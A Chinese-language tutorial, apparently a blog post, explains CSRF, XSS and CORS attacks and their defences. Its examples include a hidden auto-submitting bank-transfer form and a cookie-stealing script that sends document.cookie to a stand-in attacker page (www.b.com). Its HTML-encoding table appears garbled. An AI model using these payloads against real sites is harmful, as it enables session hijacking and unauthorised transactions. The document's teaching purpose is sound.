CSRF / XSRF (Cross-site request forgery) 跨站请求伪造。指的是攻击者通过向用户页面注入一段可以引起请求的代码,在用户未意识到的情况下请求某些网站的一种攻击。 攻击原理如下: 由图可见,要完成 CSRF 攻击,用户需完成两个步骤:
访问受信任网站 A,在本地生成 cookie
在 cookie 未过期之前访问危险网站 B
对于用户来说,只要以上步骤有一个未发生就可避免攻击,但是,用户无法保证:
在访问 A 网站的时候不开个新页面访问 B 网站。
每次访问 B 网站都能保证 A 的 cookie 已过期
图中所谓的攻击网站,可能也只是个嵌入了攻击信息的可信任的经常被人访问的网站
一般来说,在用户登录的时候,服务器会返回 cookie 给客户机,客户机之后发出的每个请求中都带有这个 cookie,提供身份认证及其他信息。攻击者通过广告等方式,诱导被攻击方浏览器发起自己想要的请求,这样被攻击方的身份信息也会随着请求一起发出去,以达到攻击目的。 也就是说,CSRF 的关键就是被攻击者的 cookie.
场景举例
html 中含 get 请求 <img src="http://example.org/buy.php?symbol=SCOX&shares=1000" />
内含 iframe post 攻击1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
CSRF 防御 CSRF的防御可从客户机和服务机两方面着手。
客户机
请求头中带上 token 并在服务端验证 CSRF 之所以可以请求成功是因为请求需要的信息全部存在于 cookie 中,要是请求需要除 cookie 之外的信息,那么就算攻击者的请求带上了 cookie 也不能成功。 token 验证在用户登录时产生,并放置于 session 中,用户可以通过如登录请求返回值之类的方式获取这个值,然后以后的每次请求都带上这个值,客户端每次接受请求都会判断拿到的 token 是否与 session 中的一致,如果不一致,就被判定为 csrf 攻击并丢弃。 (这种方式难以保证 token 的安全,比如黑客可以诱导用户访问自己的网站,而请求信息中就包含了 token,也会被获取到,从而开始攻击)
HTTP 头中自定义属性并验证 也是 token 验证的一种,不过 token 不是放在 http 的请求体中,而是通过 XMLHttpRequest.setRequestHeader(“xsrftoken”, “xxx”) 将 token 信息放置到 http 头部 (这种方式只支持 ajax 请求,局限性太大)
服务机
HTTP referer字段 http 头部的 referer 字段记录发起请求的源地址,如果是页面中的 button 的形式的请求,那么该值与 Request URL 中的值的 host 部分应该是相同的。而若是例子中的 CSRF,则 referer host部分是攻击者的 host,因此,可以在某些敏感操作(如转账)等操作之前验证 referer 的合法性。 (这种方法依赖于客户端提供的信息,高版本浏览器中没有问题,但是 IE6 等低版本浏览器中可以被伪造,所以并非万无一失)
XSS (Cross-site Scripting) 跨站脚本攻击。利用网站的 xss 漏洞在用户浏览器中运行攻击者的恶意脚本,达成某种目的的攻击。比如:
脚本获取用户的 cookie 信息
获取用户权限,使用 web 应用
可以向用户页面嵌入伪造的数据表单,以钓鱼方式获取用户信息
xss 攻击分两种: DOM Based XSS 和 Stored XSS
DOM Based XSS 若发现页面中某些内容显示的是该页面 url 中的某个参数,那么可以通过改变参数内容达到攻击目的。
若 A 网站内某页面 url 为 www.a.com?name=ewangsf
而 name 参数直接显示在页面右上角 “Hello ewangsf!”,那么可以构造一个 url : www.a.com?name=<script>window.open("www.b.com?data=" + document.cookie)</script>
,这里 www.b.com
是攻击者的页面,在该页面内可以获取到 www.a.com
的 cookie 信息。
主机 C 提供免费 wifi,开启特殊的 DNS 将所有域名都解析到 C 上,并将 wifi 的 DHCP-DNS 设置为 C 的 IP,这样所有连着这个 wifi 的电脑发出的请求都会被 C 截获,C 将请求正常发出到目标服务器上,但是在响应返回的时候,往响应体内注入脚本实现攻击目的 这种攻击方式危害不大,因为受害者必须主动点击才能被攻击。Stored Based XSS 用户输入的数据中可以包含攻击代码,这些信息被原样存储到数据库中,则每个能看到该数据的人都会被攻击。
用户在某个表单的 intro 字段中输入: <script>window.open("www.b.com?data=" + document.cookie)</script>
,假设该字段未被做任何处理,则所有可以看到这个介绍文字的人的 cookie 都会被上传到攻击者网站中
这种攻击模式下,所有看得到文本的用户都会被攻击,范围广,危害大。
XSS 防御
对于输入值做过滤,只允许合法的值,如数量表单只允许输入数字,邮件只允许数字字母和@符号和.符号
自定义白名单,对于 html 中的属性做过滤,如去掉所有除 title 之外的属性
HTML encode: <
=> <
>
=> >
&
=> &
"
=> "
可以使用正则匹配或者依照第三方库的方式完成。
CORS (Cross-origin Resource Sharing) HTML5 中允许了 CORS 的跨域方式,放松了请求的限制,只要在服务器中配置 Access-Control-Allow-Origin
,将需要允许的域名加到配置值中,就可以实现跨域。这种方式同样也带来一些风险
只要请求头中的 Origin 是允许的值请求就会被允许,但是请求头是可以被伪造的
如果请求客户方被入侵,黑客利用客户机提交危险操作,比如删除账户等
如果请求服务方被入侵,制造了些有害数据,若客户方未加保护地展现数据可能会导致某些不可预料的后果
黑客可以在某些存在 xss 漏洞的页面上注入脚本,一旦客户机访问了这些页面,就会向服务机请求,将结果发送给攻击者
CORS 防御
在跨域请求中要求身份验证,如 sessionID 和 cookie
服务方尽量少地暴露的接口,仅允许必须的操作
通过对 http 头的判断,尽可能多地过滤非法请求和可疑请求
参考